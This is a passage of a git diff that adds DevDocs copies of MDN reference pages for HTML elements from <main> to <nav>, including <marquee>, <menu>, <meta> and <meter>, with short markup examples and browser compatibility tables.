type1121≤6≤12.1≤44.4184≤12.1≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/link +

+
diff --git a/devdocs/html/element%2Fmain.html b/devdocs/html/element%2Fmain.html new file mode 100644 index 00000000..b2f6a0cb --- /dev/null +++ b/devdocs/html/element%2Fmain.html @@ -0,0 +1,125 @@ +

<main>

The <main> HTML element represents the dominant content of the <body> of a document. The main content area consists of content that is directly related to or expands upon the central topic of a document, or the central functionality of an application.

+

Try it

+
+

A document mustn't have more than one <main> element that doesn't have the hidden attribute specified.

Content categories +Flow content, palpable content.
Permitted content +Flow content.
Tag omission None; both the starting and ending tags are mandatory.
Permitted parents Where flow content is expected, but only if it is a hierarchically correct main element.
Implicit ARIA role main
Permitted ARIA roles No role permitted
DOM interface HTMLElement
+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

The content of a <main> element should be unique to the document. Content that is repeated across a set of documents or document sections such as sidebars, navigation links, copyright information, site logos, and search forms shouldn't be included unless the search form is the main function of the page.

<main> doesn't contribute to the document's outline; that is, unlike elements such as <body>, headings such as h2, and such, <main> doesn't affect the DOM's concept of the structure of the page. It's strictly informative.

+
+

Examples

+
+

html

+
<!-- other content -->
+
+<main>
+  <h1>Apples</h1>
+  <p>The apple is the pomaceous fruit of the apple tree.</p>
+
+  <article>
+    <h2>Red Delicious</h2>
+    <p>
+      These bright red apples are the most common found in many supermarkets.
+    </p>
+    <p>…</p>
+    <p>…</p>
+  </article>
+
+  <article>
+    <h2>Granny Smith</h2>
+    <p>These juicy, green apples make a great filling for apple pies.</p>
+    <p>…</p>
+    <p>…</p>
+  </article>
+</main>
+
+<!-- other content -->
+
+
+

Result

+
+ + +
+

Accessibility concerns

+ +

Landmark

+

The <main> element behaves like a main landmark role. Landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. Prefer using the <main> element over declaring role="main", unless there are legacy browser support concerns.

+

Skip navigation

+
+

Skip navigation, also known as "skipnav", is a technique that allows an assistive technology user to quickly bypass large sections of repeated content (main navigation, info banners, etc.). This lets the user access the main content of the page faster.

Adding an id attribute to the <main> element lets it be a target of a skip navigation link.

+

html

+
<body>
+  <a href="#main-content">Skip to main content</a>
+
+  <!-- navigation and header content -->
+
+  <main id="main-content">
+    <!-- main page content -->
+  </main>
+</body>
+
+
+
+

Reader mode

+
+

Browser reader mode functionality looks for the presence of the <main> element, as well as heading and content sectioning elements when converting content into a specialized reader view.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-main-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
main261221No1674.426211471.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/main +

+
diff --git a/devdocs/html/element%2Fmap.html b/devdocs/html/element%2Fmap.html new file mode 100644 index 00000000..40ebe80d --- /dev/null +++ b/devdocs/html/element%2Fmap.html @@ -0,0 +1,110 @@ +

<map>: The Image Map element

The <map> HTML element is used with <area> elements to define an image map (a clickable link area).

+

Try it

+
+

Attributes

+
+

This element includes the global attributes.

name

The name attribute gives the map a name so that it can be referenced. The attribute must be present and must have a non-empty value with no space characters. The value of the name attribute must not be equal to the value of the name attribute of another <map> element in the same document. If the id attribute is also specified, both attributes must have the same value.

+
+

Examples

+ +

Image map with two areas

+
+

Click the left-hand parrot for JavaScript, or the right-hand parrot for CSS.

HTML

+

html

+
<!-- Photo by Juliana e Mariana Amorim on Unsplash -->
+<map name="primary">
+  <area
+    shape="circle"
+    coords="75,75,75"
+    href="https://developer.mozilla.org/docs/Web/JavaScript"
+    target="_blank"
+    alt="JavaScript" />
+  <area
+    shape="circle"
+    coords="275,75,75"
+    href="https://developer.mozilla.org/docs/Web/CSS"
+    target="_blank"
+    alt="CSS" />
+</map>
+<img
+  usemap="#primary"
+  src="parrots.jpg"
+  alt="350 x 150 picture of two parrots" />
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content Any transparent element.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLMapElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-map-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
map112
1["Before Firefox 5, in Quirks Mode, empty maps were no longer skipped over in favor of non-empty ones when matching.", "Before Firefox 17, the default styling of the <map> HTML element was display: block;. This is now display: inline; and matches the behavior of the other browsers. It was already the case in Quirks Mode."]
Yes1514.41841411.0
name1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/map +

+
diff --git a/devdocs/html/element%2Fmark.html b/devdocs/html/element%2Fmark.html new file mode 100644 index 00000000..a2c8ee3c --- /dev/null +++ b/devdocs/html/element%2Fmark.html @@ -0,0 +1,129 @@ +

<mark>: The Mark Text element

The <mark> HTML element represents text which is marked or highlighted for reference or notation purposes due to the marked passage's relevance in the enclosing context.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Typical use cases for <mark> include:

Note: Don't confuse <mark> with the <strong> element; <mark> is used to denote content which has a degree of relevance, while <strong> indicates spans of text of importance.

+
+

Examples

+ +

Marking text of interest

+
+

In this first example, a <mark> element is used to mark some text within a quote which is of particular interest to the user.

+

html

+
<blockquote>
+  It is a period of civil war. Rebel spaceships, striking from a hidden base,
+  have won their first victory against the evil Galactic Empire. During the
+  battle, <mark>Rebel spies managed to steal secret plans</mark> to the Empire's
+  ultimate weapon, the DEATH STAR, an armored space station with enough power to
+  destroy an entire planet.
+</blockquote>
+
+

Result

+
+ + +
+
+

Identifying context-sensitive passages

+
+

This example demonstrates using <mark> to mark search results within a passage.

+

html

+
<p>
+  It is a dark time for the Rebellion. Although the Death Star has been
+  destroyed, <mark class="match">Imperial</mark> troops have driven the Rebel
+  forces from their hidden base and pursued them across the galaxy.
+</p>
+
+<p>
+  Evading the dreaded <mark class="match">Imperial</mark> Starfleet, a group of
+  freedom fighters led by Luke Skywalker has established a new secret base on
+  the remote ice world of Hoth.
+</p>
+
+

To help distinguish the use of <mark> for search results from other potential usage, this example applies the custom class "match" to each match.

Result

+
+ + +
+
+

Accessibility concerns

+
+

The presence of the mark element is not announced by most screen reading technology in its default configuration. It can be made to be announced by using the CSS content property, along with the ::before and ::after pseudo-elements.

+

css

+
mark::before,
+mark::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+mark::before {
+  content: " [highlight start] ";
+}
+
+mark::after {
+  content: " [highlight end] ";
+}
+
+

Some people who use screen readers deliberately disable announcing content that creates extra verbosity. Because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been highlighted would adversely affect understanding.

+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-mark-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
mark71249115.14.41841451.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/mark +

+
diff --git a/devdocs/html/element%2Fmarquee.html b/devdocs/html/element%2Fmarquee.html new file mode 100644 index 00000000..f88841c2 --- /dev/null +++ b/devdocs/html/element%2Fmarquee.html @@ -0,0 +1,276 @@ +

<marquee>: The Marquee element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <marquee> HTML element is used to insert a scrolling area of text. You can control what happens when the text reaches the edges of its content area using its attributes.

+
+

Attributes

+
+behavior +

Sets how the text is scrolled within the marquee. Possible values are scroll, slide and alternate. If no value is specified, the default value is scroll.

+bgcolor +

Sets the background color through color name or hexadecimal value.

+direction +

Sets the direction of the scrolling within the marquee. Possible values are left, right, up and down. If no value is specified, the default value is left.

+height +

Sets the height in pixels or percentage value.

+hspace +

Sets the horizontal margin

+loop +

Sets the number of times the marquee will scroll. If no value is specified, the default value is −1, which means the marquee will scroll continuously.

+scrollamount +

Sets the amount of scrolling at each interval in pixels. The default value is 6.

+scrolldelay +

Sets the interval between each scroll movement in milliseconds. The default value is 85. Note that any value smaller than 60 is ignored and the value 60 is used instead unless truespeed is specified.

+truespeed +

By default, scrolldelay values lower than 60 are ignored. If truespeed is present, those values are not ignored.

+vspace +

Sets the vertical margin in pixels or percentage value.

+width +

Sets the width in pixels or percentage value.

+

Event handlers

+
onbounce

Fires when the marquee has reached the end of its scroll position. It can only fire when the behavior attribute is set to alternate.

onfinish

Fires when the marquee has finished the amount of scrolling that is set by the loop attribute. It can only fire when the loop attribute is set to some number that is greater than 0.

onstart

Fires when the marquee starts scrolling.

+

Methods

+
start()

Starts scrolling of the marquee.

stop()

Stops scrolling of the marquee.

+

Examples

+
+

html

+
<marquee>This text will scroll from right to left</marquee>
+
+<marquee direction="up">This text will scroll from bottom to top</marquee>
+
+<marquee
+  direction="down"
+  width="250"
+  height="200"
+  behavior="alternate"
+  style="border:solid">
+  <marquee behavior="alternate"> This text will bounce </marquee>
+</marquee>
+
+
+

Result

+
+ + +
+

Technical summary

+
DOM interface HTMLMarqueeElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-marquee-element-2
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
marquee11265
1Implements the HTMLDivElement interface.
+		27.21.24.41865
4Implements the HTMLDivElement interface.
+		10.111.0
behavior112127.21.24.418410.111.0
bgcolor112127.21.24.418410.111.0
direction112127.21.24.418410.111.0
height112127.21.24.418410.111.0
hspace11235.5151.24.41841411.0
loop11235.5151.24.41841411.0
scrollamount112127.21.24.418410.111.0
scrolldelay112127.21.24.418410.111.0
truespeed11234151.24.41841411.0
vspace11235.5151.24.41841411.0
width112127.21.24.418410.111.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/marquee +

+
diff --git a/devdocs/html/element%2Fmenu.html b/devdocs/html/element%2Fmenu.html new file mode 100644 index 00000000..2961f63f --- /dev/null +++ b/devdocs/html/element%2Fmenu.html @@ -0,0 +1,154 @@ +

<menu>: The Menu element

The <menu> HTML element is described in the HTML specification as a semantic alternative to <ul>, but treated by browsers (and exposed through the accessibility tree) as no different than <ul>. It represents an unordered list of items (which are represented by <li> elements).

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

The <menu> and <ul> elements both represent an unordered list of items. The key difference is that <ul> primarily contains items for display, while <menu> was intended for interactive items. The related <menuitem> element has been deprecated.

Note: In early versions of the HTML specification, the <menu> element had an additional use case as a context menu. This functionality is considered obsolete and is not in the specification.

+
+

Examples

+ +

Toolbar

+
+

In this example, a <menu> is used to create a toolbar for an editing application.

HTML

+

html

+
<menu>
+  <li><button onclick="copy()">Copy</button></li>
+  <li><button onclick="cut()">Cut</button></li>
+  <li><button onclick="paste()">Paste</button></li>
+</menu>
+
+

Note that this is functionally no different from:

+

html

+
<ul>
+  <li><button onclick="copy()">Copy</button></li>
+  <li><button onclick="cut()">Cut</button></li>
+  <li><button onclick="paste()">Paste</button></li>
+</ul>
+
+

CSS

+

css

+
menu,
+ul {
+  display: flex;
+  list-style: none;
+  padding: 0;
+  width: 400px;
+}
+
+li {
+  flex-grow: 1;
+}
+
+button {
+  width: 100%;
+}
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories

Flow content. If the element's children include at least one <li> element: Palpable content.

Permitted content

Zero or more occurrences of <li>, <script>, and <template>.

Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role list
Permitted ARIA roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar or tree
DOM interface HTMLMenuElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-menu-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
menu11216≤12.134.4184≤12.111.0
hr_separatorNoNo51–85NoNoNoNoNo51–85NoNoNo
labelNoNo8–85NoNoNoNoNo
8–85Nested menus are not supported.
NoNoNo
type_menuNo≤18–798–85NoNoNoNoNo
8–85Nested menus are not supported.
NoNoNo
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/menu +

+
diff --git a/devdocs/html/element%2Fmenuitem.html b/devdocs/html/element%2Fmenuitem.html new file mode 100644 index 00000000..c446d12a --- /dev/null +++ b/devdocs/html/element%2Fmenuitem.html @@ -0,0 +1,81 @@ +

<menuitem>

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

+

Non-standard: This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

The <menuitem> HTML element represents a command that a user is able to invoke through a popup menu. This includes context menus, as well as menus that might be attached to a menu button.

A command can either be defined explicitly, with a textual label and optional icon to describe its appearance, or alternatively as an indirect command whose behavior is defined by a separate element. Commands can also optionally include a checkbox or be grouped to share radio buttons. (Menu items for indirect commands gain checkboxes or radio buttons when defined against elements <input type="checkbox"> and <input type="radio">.)

+
+

Attributes

+
+

This element includes the global attributes; in particular title can be used to describe the command, or provide usage hints.

+checked +

Boolean attribute which indicates whether the command is selected. May only be used when the type attribute is checkbox or radio.

+command +

Specifies the ID of a separate element, indicating a command to be invoked indirectly. May not be used within a menu item that also includes the attributes checked, disabled, icon, label, radiogroup or type.

+default +

This Boolean attribute indicates use of the same command as the menu's subject element (such as a button or input).

+disabled +

Boolean attribute which indicates that the command is not available in the current state. Note that disabled is distinct from hidden; the disabled attribute is appropriate in any context where a change in circumstances might render the command relevant.

+icon +

Image URL, used to provide a picture to represent the command.

label

The name of the command as shown to the user. Required when a command attribute is not present.

+radiogroup +

This attribute specifies the name of a group of commands to be toggled as radio buttons when selected. May only be used where the type attribute is radio.

+type +

This attribute indicates the kind of command, and can be one of three values.

  • +command: A regular command with an associated action. This is the missing value default.
  • +checkbox: Represents a command that can be toggled between two different states.
  • +radio: Represent one selection from a group of commands that can be toggled as radio buttons.
+
+

Examples

+ +

HTML

+
+

html

+
<!-- A <div> element with a context menu -->
+<div contextmenu="popup-menu">Right-click to see the adjusted context menu</div>
+
+<menu type="context" id="popup-menu">
+  <menuitem type="checkbox" checked>Checkbox</menuitem>
+  <hr />
+  <menuitem
+    type="command"
+    label="This command does nothing"
+    icon="favicon-192x192.png">
+    Commands don't render their contents.
+  </menuitem>
+  <menuitem
+    type="command"
+    label="This command has javascript"
+    onclick="alert('command clicked')">
+    Commands don't render their contents.
+  </menuitem>
+  <hr />
+  <menuitem type="radio" radiogroup="group1">Radio Button 1</menuitem>
+  <menuitem type="radio" radiogroup="group1">Radio Button 2</menuitem>
+</menu>
+
+
+

CSS

+
+

css

+
div {
+  width: 300px;
+  height: 80px;
+  background-color: lightgreen;
+}
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories None.
Permitted content None; it is a void element.
Tag omission Must have a start tag and must not have an end tag.
Permitted parents The <menu> element, where that element is in the popup menu state. (If specified, the type attribute of the <menu> element must be popup; if missing, the parent element of the <menu> must itself be a <menu> in the popup menu state.)
Permitted ARIA roles None
DOM interface HTMLMenuItemElement
+

Specifications

+

Not part of any current specifications.

+

Browser compatibility

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/menuitem +

+
diff --git a/devdocs/html/element%2Fmeta%2Fname%2Ftheme-color.html b/devdocs/html/element%2Fmeta%2Fname%2Ftheme-color.html new file mode 100644 index 00000000..accdd947 --- /dev/null +++ b/devdocs/html/element%2Fmeta%2Fname%2Ftheme-color.html @@ -0,0 +1,70 @@ +

theme-color

The theme-color value for the name attribute of the <meta> element indicates a suggested color that user agents should use to customize the display of the page or of the surrounding user interface. If specified, the content attribute must contain a valid CSS <color>.

+

Example

+
+
+

html

+
<meta name="theme-color" content="#4285f4" />
+
+

The following image shows the effect that the <meta> element above will have on a document displayed in Chrome running on an Android mobile device.

Image showing the effect of using theme-color

Image credit: from Icons & Browser Colors, created and shared by Google and used according to terms described in the Creative Commons 4.0 Attribution License.

You can provide a media type or query inside the media attribute; the color will then only be set if the media condition is true. For example:

+

html

+
<meta name="theme-color" media="(prefers-color-scheme: light)" content="cyan" />
+<meta name="theme-color" media="(prefers-color-scheme: dark)" content="black" />
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# meta-theme-color
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
theme-color +
73Chrome uses the color only on installed progressive web apps.
39–72Chrome reports support, but does not actually use the color anywhere.
+
79Edge uses the color only on installed progressive web apps.
NoNoNo15No
80Chrome for Android does not use the color on devices with native dark mode enabled.
NoNo156.2
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta/name/theme-color +

+
diff --git a/devdocs/html/element%2Fmeta%2Fname.html b/devdocs/html/element%2Fmeta%2Fname.html new file mode 100644 index 00000000..d8692880 --- /dev/null +++ b/devdocs/html/element%2Fmeta%2Fname.html @@ -0,0 +1,166 @@ +

Standard metadata names

The <meta> element can be used to provide document metadata in terms of name-value pairs, with the name attribute giving the metadata name, and the content attribute giving the value.

+

Standard metadata names defined in the HTML specification

+
+

The HTML specification defines the following set of standard metadata names:

+
+

Standard metadata names defined in other specifications

+
+

The CSS Device Adaptation specification defines the following metadata name:

+
+

Other metadata names

+
+

The WHATWG Wiki MetaExtensions page contains a large set of non-standard metadata names that have not been formally accepted yet; however, some of the names included there are already used quite commonly in practice — including the following:

+
+

Specifications

+
+ + + + + +
Specification
HTML Standard
# standard-metadata-names
Referrer Policy
# referrer-policy-delivery-meta
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
name1121≤6≤12.1≤44.4184≤12.1≤3.21.0
color-scheme818196No6812.1818196No12.213.0
referrer
17Until Chrome 46, content values weren't constrained to the values listed in the spec.
79
36The referrer value wasn't taken into account when navigation was happening via the context menu or middle click until Firefox 39.
11Browsers initially supported an early draft of the specification which can only use a meta tag and is only compatible with the origin value from the new spec.
15Until Opera 46, content values weren't constrained to the values listed in the spec.
11.1
37Until Chrome 46, content values weren't constrained to the values listed in the spec.
18Until Chrome 46, content values weren't constrained to the values listed in the spec.
36The referrer value wasn't taken into account when navigation was happening via the context menu or middle click until Firefox 39.
No12
1.0Until Samsung Internet 5.0, content values weren't constrained to the values listed in the spec.
scheme1121≤6≤12.1≤44.4184≤12.1≤3.21.0
theme-color +
73Chrome uses the color only on installed progressive web apps.
39–72Chrome reports support, but does not actually use the color anywhere.
+
79Edge uses the color only on installed progressive web apps.
NoNoNo15No
80Chrome for Android does not use the color on devices with native dark mode enabled.
NoNo156.2
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta/name +

+
diff --git a/devdocs/html/element%2Fmeta.html b/devdocs/html/element%2Fmeta.html new file mode 100644 index 00000000..0136b0fe --- /dev/null +++ b/devdocs/html/element%2Fmeta.html @@ -0,0 +1,131 @@ +

<meta>: The metadata element

+

The <meta> HTML element represents metadata that cannot be represented by other HTML meta-related elements, like <base>, <link>, <script>, <style> or <title>.

Content categories Metadata content. If the itemprop attribute is present: flow content, phrasing content.
Permitted content None; it is a void element.
Tag omission As it is a void element, the start tag must be present and the end tag must not be present.
Permitted parents
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLMetaElement

The type of metadata provided by the <meta> element can be one of the following:

+
+

Attributes

+
+

This element includes the global attributes.

Note: the attribute name has a specific meaning for the <meta> element, and the itemprop attribute must not be set on the same <meta> element that has any existing name, http-equiv or charset attributes.

charset

This attribute declares the document's character encoding. If the attribute is present, its value must be an ASCII case-insensitive match for the string "utf-8", because UTF-8 is the only valid encoding for HTML5 documents. <meta> elements which declare a character encoding must be located entirely within the first 1024 bytes of the document.

content

This attribute contains the value for the http-equiv or name attribute, depending on which is used.

http-equiv

Defines a pragma directive. The attribute is named http-equiv(alent) because all the allowed values are names of particular HTTP headers:

  • content-security-policy Allows page authors to define a content policy for the current page. Content policies mostly specify allowed server origins and script endpoints which help guard against cross-site scripting attacks.
  • content-type Declares the MIME type and the document's character encoding. The content attribute must have the value "text/html; charset=utf-8" if specified. This is equivalent to a <meta> element with the charset attribute specified and carries the same restriction on placement within the document. Note: Can only be used in documents served with a text/html — not in documents served with an XML MIME type.
  • default-style Sets the name of the default CSS style sheet set.
  • x-ua-compatible If specified, the content attribute must have the value "IE=edge". User agents are required to ignore this pragma.
  • +refresh This instruction specifies:
    • The number of seconds until the page should be reloaded - only if the content attribute contains a non-negative integer.
    • The number of seconds until the page should redirect to another - only if the content attribute contains a non-negative integer followed by the string ';url=', and a valid URL.

    Warning:

    Pages set with a refresh value run the risk of having the time interval being too short. People navigating with the aid of assistive technology such as a screen reader may be unable to read through and understand the page's content before being automatically redirected. The abrupt, unannounced updating of the page content may also be disorienting for people experiencing low vision conditions.

name

The name and content attributes can be used together to provide document metadata in terms of name-value pairs, with the name attribute giving the metadata name, and the content attribute giving the value.

See standard metadata names for details about the set of standard metadata names defined in the HTML specification.

+
+

Examples

+
+

html

+
<meta charset="utf-8" />
+
+<!-- Redirect page after 3 seconds -->
+<meta http-equiv="refresh" content="3;url=https://www.mozilla.org" />
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-meta-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
meta1121Yes≤12.114.4184≤12.111.0
charset1121Yes1534.41841421.0
content1121≤6≤12.1≤44.4184≤12.1≤3.21.0
http-equiv1121≤6≤12.1≤44.4184≤12.1≤3.21.0
name1121≤6≤12.1≤44.4184≤12.1≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta +

+
diff --git a/devdocs/html/element%2Fmeter.html b/devdocs/html/element%2Fmeter.html new file mode 100644 index 00000000..74d5fe58 --- /dev/null +++ b/devdocs/html/element%2Fmeter.html @@ -0,0 +1,198 @@ +

<meter>: The HTML Meter element

The <meter> HTML element represents either a scalar value within a known range or a fractional value.

+

Try it

+
+
Content categories Flow content, phrasing content, labelable content, palpable content.
Permitted content Phrasing content, but there must be no <meter> element among its descendants.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role meter
Permitted ARIA roles No role permitted
DOM interface HTMLMeterElement
+
+

Attributes

+
+

This element includes the global attributes.

value

The current numeric value. This must be between the minimum and maximum values (min attribute and max attribute) if they are specified. If unspecified or malformed, the value is 0. If specified, but not within the range given by the min attribute and max attribute, the value is equal to the nearest end of the range.

Note: Unless the value attribute is between 0 and 1 (inclusive), the min and max attributes should define the range so that the value attribute's value is within it.

min

The lower numeric bound of the measured range. This must be less than the maximum value (max attribute), if specified. If unspecified, the minimum value is 0.

max

The upper numeric bound of the measured range. This must be greater than the minimum value (min attribute), if specified. If unspecified, the maximum value is 1.

low

The upper numeric bound of the low end of the measured range. This must be greater than the minimum value (min attribute), and it also must be less than the high value and maximum value (high attribute and max attribute, respectively), if any are specified. If unspecified, or if less than the minimum value, the low value is equal to the minimum value.

high

The lower numeric bound of the high end of the measured range. This must be less than the maximum value (max attribute), and it also must be greater than the low value and minimum value (low attribute and min attribute, respectively), if any are specified. If unspecified, or if greater than the maximum value, the high value is equal to the maximum value.

optimum

This attribute indicates the optimal numeric value. It must be within the range (as defined by the min attribute and max attribute). When used with the low attribute and high attribute, it gives an indication where along the range is considered preferable. For example, if it is between the min attribute and the low attribute, then the lower range is considered preferred. The browser may color the meter's bar differently depending on whether the value is less than or equal to the optimum value.

form

This optional attribute is used to explicitly set a <form> owner for the <meter> element. If omitted, the <meter> is associated with its ancestor <form> element or the form association set by the form attribute on another ancestor element, such as on a <fieldset>, if any. If included, the value must be the id of a <form> in the same tree.

+
+

Examples

+ +

Simple example

+
+

HTML

+

html

+
<p>
+  Heat the oven to <meter min="200" max="500" value="350">350 degrees</meter>.
+</p>
+
+

Result

+
+ + +

On Google Chrome, the resulting meter looks like this:

A screenshot of the meter element in Google Chrome

+
+

High and Low range example

+
+

Note that in this example the min attribute is omitted. This is allowed, as it will default to 0.

HTML

+

html

+
<p>
+  He got a <meter low="69" high="80" max="100" value="84">B</meter> on the exam.
+</p>
+
+

Result

+
+ + +

On Google Chrome, the resulting meter looks like this:

red meter in Google Chrome

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-meter-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
meter6≤1816No116No18161110.31.0
form6≤1816No116No18161110.31.0
high6≤1816No116No18161110.31.0
low6≤1816No116No18161110.31.0
max6≤1816No116No18161110.31.0
min6≤1816No116No18161110.31.0
optimum6≤1816No116No18161110.31.0
value6≤1816No116No18161110.31.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meter +

+
diff --git a/devdocs/html/element%2Fnav.html b/devdocs/html/element%2Fnav.html new file mode 100644 index 00000000..d8d5d024 --- /dev/null +++ b/devdocs/html/element%2Fnav.html @@ -0,0 +1,105 @@ +

<nav>: The Navigation Section element

The <nav> HTML element represents a section of a page whose purpose is to provide navigation links, either within the current document or to other documents. Common examples of navigation sections are menus, tables of contents, and indexes.

+

Try it

+
+
Content categories Flow content, sectioning content, palpable content.
Permitted content +Flow content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role navigation
Permitted ARIA roles No role permitted
DOM interface HTMLElement
+
+

